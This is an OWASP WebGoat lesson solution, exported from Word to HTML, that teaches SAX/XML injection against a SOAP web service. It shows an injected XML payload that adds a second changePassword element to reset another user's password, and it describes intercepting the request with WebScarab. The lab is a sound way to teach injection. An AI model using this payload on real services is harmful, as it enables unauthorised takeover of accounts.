2008-01-12 17:42:01 +00:00

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<div class=Section1>
<p class=MsoNormal><b style='mso-bidi-font-weight:normal'><span
style='font-family:"Arial","sans-serif"'>Lesson Plan Title:</span></b><span
style='font-family:"Arial","sans-serif"'> How to Perform Web Service SAX
Injection<o:p></o:p></span></p>
<p class=MsoNormal><b style='mso-bidi-font-weight:normal'><span
style='font-family:"Arial","sans-serif"'><o:p>&nbsp;</o:p></span></b></p>
<p class=MsoNormal><b style='mso-bidi-font-weight:normal'><span
style='font-family:"Arial","sans-serif"'>Concept / Topic To Teach: <o:p></o:p></span></b></p>
<!-- Start Instructions -->
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Web Services
communicate through the use of SOAP requests. These requests are submitted to a
web service in an attempt to execute a function defined in the web service
definition language (WSDL) file. <o:p></o:p></span></p>
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p>&nbsp;</o:p></span></p>
<p class=MsoNormal><b style='mso-bidi-font-weight:normal'><span
style='font-family:"Arial","sans-serif"'>General Goal(s): <o:p></o:p></span></b></p>
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Some web
interfaces make use of Web Services in the background. If the frontend relies
on the web service for all input validation, it may be possible to corrupt the
XML that the web interface sends. <br style='mso-special-character:line-break'>
<![if !supportLineBreakNewLine]><br style='mso-special-character:line-break'>
<![endif]><o:p></o:p></span></p>
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>In this
exercise, try to change the password for a user other than 101.<o:p></o:p></span></p>
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p>&nbsp;</o:p></span></p>
<p class=MsoNormal><span style='font-family:"Arial","sans-serif";mso-no-proof:
yes'><!--[if gte vml 1]><v:shapetype id="_x0000_t75" coordsize="21600,21600"
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src="/WebGoat/lesson_solutions/WsSAXInjection_files/image002.jpg" v:shapes="Picture_x0020_39"><![endif]></span><span
style='font-family:"Arial","sans-serif"'><span
style='mso-spacerun:yes'><EFBFBD></span><o:p></o:p></span></p>
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p>&nbsp;</o:p></span></p>
<p class=MsoNormal><b style='mso-bidi-font-weight:normal'><span
style='font-family:"Arial","sans-serif"'>Solution:<o:p></o:p></span></b></p>
<p class=MsoNormal><b style='mso-bidi-font-weight:normal'><span
style='font-family:"Arial","sans-serif"'><o:p>&nbsp;</o:p></span></b></p>
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>To succeed
this lesson it is required to reset the password of the user with a different
user-ID then 101 (which is your user-ID)<o:p></o:p></span></p>
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>.<o:p></o:p></span></p>
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>When you fill
out a password and click on <20>Go!<21> the following XML request will be created,
submit and parsed by the SAX parser:<o:p></o:p></span></p>
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p>&nbsp;</o:p></span></p>
<pre><span style='color:black'>&lt;?xml version='1.0' encoding='UTF-8'?&gt;<o:p></o:p></span></pre><pre><span
style='color:black'>&lt;wsns0:Envelope<o:p></o:p></span></pre><pre><span
style='color:black'><span style='mso-spacerun:yes'><EFBFBD> </span>xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'<o:p></o:p></span></pre><pre><span
style='color:black'><span style='mso-spacerun:yes'><EFBFBD> </span>xmlns:xsd='http://www.w3.org/2001/XMLSchema'<o:p></o:p></span></pre><pre><span
style='color:black'><span style='mso-spacerun:yes'><EFBFBD> </span>xmlns:wsns0='http://schemas.xmlsoap.org/soap/envelope/'<o:p></o:p></span></pre><pre><span
style='color:black'><span style='mso-spacerun:yes'><EFBFBD> </span>xmlns:wsns1='http://lessons.webgoat.owasp.org'&gt;<o:p></o:p></span></pre><pre><span
style='color:black'><span style='mso-spacerun:yes'><EFBFBD> </span>&lt;wsns0:Body&gt;<o:p></o:p></span></pre><pre><span
style='color:black'><span style='mso-spacerun:yes'><EFBFBD><EFBFBD><EFBFBD> </span>&lt;wsns1:changePassword&gt;<o:p></o:p></span></pre><pre><span
style='color:black'><span style='mso-spacerun:yes'><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> </span>&lt;id xsi:type='xsd:int'&gt;101&lt;/id&gt;<o:p></o:p></span></pre><pre><span
style='color:black'><span style='mso-spacerun:yes'><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> </span>&lt;password xsi:type='xsd:string'&gt;[password]&lt;/password&gt;<o:p></o:p></span></pre><pre><span
style='color:black'><span style='mso-spacerun:yes'><EFBFBD><EFBFBD><EFBFBD> </span>&lt;/wsns1:changePassword&gt;<o:p></o:p></span></pre><pre><span
style='color:black'><span style='mso-spacerun:yes'><EFBFBD> </span>&lt;/wsns0:Body&gt;<o:p></o:p></span></pre><pre><span
style='color:black'>&lt;/wsns0:Envelope&gt;<o:p></o:p></span></pre>
<p class=MsoNormal style='tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt'><span
style='font-family:"Arial","sans-serif"'><o:p>&nbsp;</o:p></span></p>
<p class=MsoNormal style='tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt'><span
style='font-family:"Arial","sans-serif"'>SAX parsers will parse anything that
is well-formed, meaning that there are matching end and close tags and that the
schema is correct. When you are able to add a new changePAssword element with
corresponding id tag and password tag, the SAX parser will be more than happy
to change the password for the user-ID provided.<o:p></o:p></span></p>
<p class=MsoNormal style='tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt'><span
style='font-family:"Arial","sans-serif"'>So you need to have something like
this as a final result:<o:p></o:p></span></p>
<p class=MsoNormal style='tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt'><span
style='font-family:"Arial","sans-serif"'><o:p>&nbsp;</o:p></span></p>
<p class=MsoNormal style='tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt'><span
style='font-family:"Arial","sans-serif"'>&lt;?xml version='1.0'
encoding='UTF-8'?&gt;<o:p></o:p></span></p>
<p class=MsoNormal style='tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt'><span
style='font-family:"Arial","sans-serif"'>&lt;wsns0:Envelope<o:p></o:p></span></p>
<p class=MsoNormal style='tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt'><span
style='font-family:"Arial","sans-serif"'><span style='mso-spacerun:yes'><EFBFBD>
</span>xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'<o:p></o:p></span></p>
<p class=MsoNormal style='tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt'><span
style='font-family:"Arial","sans-serif"'><span style='mso-spacerun:yes'><EFBFBD>
</span>xmlns:xsd='http://www.w3.org/2001/XMLSchema'<o:p></o:p></span></p>
<p class=MsoNormal style='tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt'><span
style='font-family:"Arial","sans-serif"'><span style='mso-spacerun:yes'><EFBFBD>
</span>xmlns:wsns0='http://schemas.xmlsoap.org/soap/envelope/'<o:p></o:p></span></p>
<p class=MsoNormal style='tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt'><span
style='font-family:"Arial","sans-serif"'><span style='mso-spacerun:yes'><EFBFBD>
</span>xmlns:wsns1='http://lessons.webgoat.owasp.org'&gt;<o:p></o:p></span></p>
<p class=MsoNormal style='tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt'><span
style='font-family:"Arial","sans-serif"'><span style='mso-spacerun:yes'><EFBFBD>
</span>&lt;wsns0:Body&gt;<o:p></o:p></span></p>
<p class=MsoNormal style='tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt'><span
style='font-family:"Arial","sans-serif"'><span style='mso-spacerun:yes'><EFBFBD><EFBFBD><EFBFBD>
</span>&lt;wsns1:changePassword&gt;<o:p></o:p></span></p>
<p class=MsoNormal style='tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt'><span
style='font-family:"Arial","sans-serif"'><span style='mso-spacerun:yes'><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
</span>&lt;id xsi:type='xsd:int'&gt;101&lt;/id&gt;<o:p></o:p></span></p>
<p class=MsoNormal style='tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt'><span
style='font-family:"Arial","sans-serif"'><span style='mso-spacerun:yes'><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
</span>&lt;password xsi:type='xsd:string'&gt;[password]&lt;/password&gt;<o:p></o:p></span></p>
<p class=MsoNormal style='tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt'><span
style='font-family:"Arial","sans-serif"'><span style='mso-spacerun:yes'><EFBFBD><EFBFBD><EFBFBD>
</span>&lt;/wsns1:changePassword&gt;<o:p></o:p></span></p>
<p class=MsoNormal style='tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt'><span
style='font-family:"Arial","sans-serif"'><span style='mso-spacerun:yes'><EFBFBD><EFBFBD><EFBFBD>
</span>&lt;wsns1:changePassword&gt;<o:p></o:p></span></p>
<p class=MsoNormal style='tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt'><span
style='font-family:"Arial","sans-serif"'><span style='mso-spacerun:yes'><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
</span>&lt;id xsi:type='xsd:int'&gt;102&lt;/id&gt;<o:p></o:p></span></p>
<p class=MsoNormal style='tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt'><span
style='font-family:"Arial","sans-serif"'><span style='mso-spacerun:yes'><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
</span>&lt;password xsi:type='xsd:string'&gt;notforyoutoknow&lt;/password&gt;<o:p></o:p></span></p>
<p class=MsoNormal style='tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt'><span
style='font-family:"Arial","sans-serif"'><span style='mso-spacerun:yes'><EFBFBD><EFBFBD><EFBFBD>
</span>&lt;/wsns1:changePassword&gt;<o:p></o:p></span></p>
<p class=MsoNormal style='tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt'><span
style='font-family:"Arial","sans-serif"'><span style='mso-spacerun:yes'><EFBFBD>
</span>&lt;/wsns0:Body&gt;<o:p></o:p></span></p>
<p class=MsoNormal style='tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt'><span
style='font-family:"Arial","sans-serif"'>&lt;/wsns0:Envelope&gt;<o:p></o:p></span></p>
<p class=MsoNormal style='tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt'><span
style='font-family:"Arial","sans-serif"'><o:p>&nbsp;</o:p></span></p>
<p class=MsoNormal style='tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt'><span
style='font-family:"Arial","sans-serif"'>This requires to inject:<o:p></o:p></span></p>
<p class=MsoNormal style='tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt'><span
style='font-family:"Arial","sans-serif"'>newpassword&lt;/password&gt;<o:p></o:p></span></p>
<p class=MsoNormal style='tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt'><span
style='font-family:"Arial","sans-serif"'><span style='mso-spacerun:yes'><EFBFBD><EFBFBD><EFBFBD>
</span>&lt;/wsns1:changePassword&gt;<o:p></o:p></span></p>
<p class=MsoNormal style='tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt'><span
style='font-family:"Arial","sans-serif"'><span style='mso-spacerun:yes'><EFBFBD><EFBFBD><EFBFBD>
</span>&lt;wsns1:changePassword&gt;<o:p></o:p></span></p>
<p class=MsoNormal style='tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt'><span
style='font-family:"Arial","sans-serif"'><span
style='mso-spacerun:yes'><EFBFBD></span><span style='mso-spacerun:yes'><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
</span>&lt;id xsi:type='xsd:int'&gt;102&lt;/id&gt;<o:p></o:p></span></p>
<p class=MsoNormal style='tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt'><span
style='font-family:"Arial","sans-serif"'><span style='mso-spacerun:yes'><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
</span>&lt;password xsi:type='xsd:string'&gt;notforyoutoknow<o:p></o:p></span></p>
<p class=MsoNormal style='tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt'><span
style='font-family:"Arial","sans-serif"'><o:p>&nbsp;</o:p></span></p>
<p class=MsoNormal style='tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt'><span
style='font-family:"Arial","sans-serif"'>There are field-limitations in the
HTML input field, so it is required to intercept the HTTP Request with
WebScarab and replace the parameter password with the payload.<o:p></o:p></span></p>
<p class=MsoNormal style='tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt'><span
style='font-family:"Arial","sans-serif"'><o:p>&nbsp;</o:p></span></p>
<p class=MsoNormal style='tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt'><span
style='font-family:"Arial","sans-serif"'>Enter a password <20>test<73> and click
<EFBFBD>Go!<21>. <o:p></o:p></span></p>
<p class=MsoNormal style='page-break-after:avoid;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt'><span
style='font-family:"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shape
id="Picture_x0020_40" o:spid="_x0000_i1028" type="#_x0000_t75" style='width:480pt;
height:277.5pt;visibility:visible;mso-wrap-style:square'>
<v:imagedata src="/WebGoat/lesson_solutions/WsSAXInjection_files/image003.png" o:title=""/>
</v:shape><![endif]--><![if !vml]><img width=640 height=370
src="/WebGoat/lesson_solutions/WsSAXInjection_files/image004.jpg" v:shapes="Picture_x0020_40"><![endif]></span></p>
<p class=MsoCaption style='tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt'>Figure
<!--[if supportFields]><span style='mso-element:field-begin'></span><span
style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC <span style='mso-element:
field-separator'></span><![endif]--><span style='mso-no-proof:yes'>113</span><!--[if supportFields]><span
style='mso-element:field-end'></span><![endif]--> Reset password with test</p>
<p class=MsoNormal style='tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt'><o:p>&nbsp;</o:p></p>
<p class=MsoNormal style='tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt'><span
style='font-family:"Arial","sans-serif"'>Intercept the request in WebScarab and
replace the string test with the payload.<o:p></o:p></span></p>
<p class=MsoNormal style='tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt'><span
style='font-family:"Arial","sans-serif"'><o:p>&nbsp;</o:p></span></p>
<p class=MsoNormal style='page-break-after:avoid;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt'><span
style='font-family:"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shape
id="Picture_x0020_41" o:spid="_x0000_i1027" type="#_x0000_t75" style='width:481.5pt;
height:345pt;visibility:visible;mso-wrap-style:square'>
<v:imagedata src="/WebGoat/lesson_solutions/WsSAXInjection_files/image005.png" o:title=""/>
</v:shape><![endif]--><![if !vml]><img width=642 height=460
src="/WebGoat/lesson_solutions/WsSAXInjection_files/image006.jpg" v:shapes="Picture_x0020_41"><![endif]></span></p>
<p class=MsoCaption style='tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt'>Figure
<!--[if supportFields]><span style='mso-element:field-begin'></span><span
style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC <span style='mso-element:
field-separator'></span><![endif]--><span style='mso-no-proof:yes'>114</span><!--[if supportFields]><span
style='mso-element:field-end'></span><![endif]--> Intercept request</p>
<p class=MsoNormal style='tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt'><o:p>&nbsp;</o:p></p>
<p class=MsoNormal style='page-break-after:avoid;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt'><span
style='mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_42"
o:spid="_x0000_i1026" type="#_x0000_t75" style='width:481.5pt;height:345pt;
visibility:visible;mso-wrap-style:square'>
<v:imagedata src="/WebGoat/lesson_solutions/WsSAXInjection_files/image007.png" o:title=""/>
</v:shape><![endif]--><![if !vml]><img width=642 height=460
src="/WebGoat/lesson_solutions/WsSAXInjection_files/image008.jpg" v:shapes="Picture_x0020_42"><![endif]></span></p>
<p class=MsoCaption style='tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt'>Figure
<!--[if supportFields]><span style='mso-element:field-begin'></span><span
style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC <span style='mso-element:
field-separator'></span><![endif]--><span style='mso-no-proof:yes'>115</span><!--[if supportFields]><span
style='mso-element:field-end'></span><![endif]--> Inject XML payload</p>
<p class=MsoNormal style='tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt'><o:p>&nbsp;</o:p></p>
<p class=MsoNormal style='page-break-after:avoid;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt'><span
style='mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_43"
o:spid="_x0000_i1025" type="#_x0000_t75" style='width:480pt;height:277.5pt;
visibility:visible;mso-wrap-style:square'>
<v:imagedata src="/WebGoat/lesson_solutions/WsSAXInjection_files/image009.png" o:title=""/>
</v:shape><![endif]--><![if !vml]><img width=640 height=370
src="/WebGoat/lesson_solutions/WsSAXInjection_files/image010.jpg" v:shapes="Picture_x0020_43"><![endif]></span></p>
<p class=MsoCaption style='tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt'>Figure
<!--[if supportFields]><span style='mso-element:field-begin'></span><span
style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC <span style='mso-element:
field-separator'></span><![endif]--><span style='mso-no-proof:yes'>116</span><!--[if supportFields]><span
style='mso-element:field-end'></span><![endif]--> Lesson completed</p>
<p class=MsoNormal style='tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt'><span
style='font-family:"Arial","sans-serif"'><o:p>&nbsp;</o:p></span></p>
<p class=MsoNormal style='tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt'><o:p>&nbsp;</o:p></p>
</div>
<table align='RIGHT' cellspacing='0' width='90%' border='0' cellpadding='0'>
<tr>
<td valign='MIDDLE' width='100%' align='RIGHT class=MsoNormal' style='font-family:"Arial","sans-serif"'>
Solution by Erwin Geirnaert
</td>
<td valign='MIDDLE' align='RIGHT'><img hspace='0' vspace='0' border='0' alt='ZION SECURITY' src='images/logos/zionsecurity.gif'></td>
</tr>
</table>
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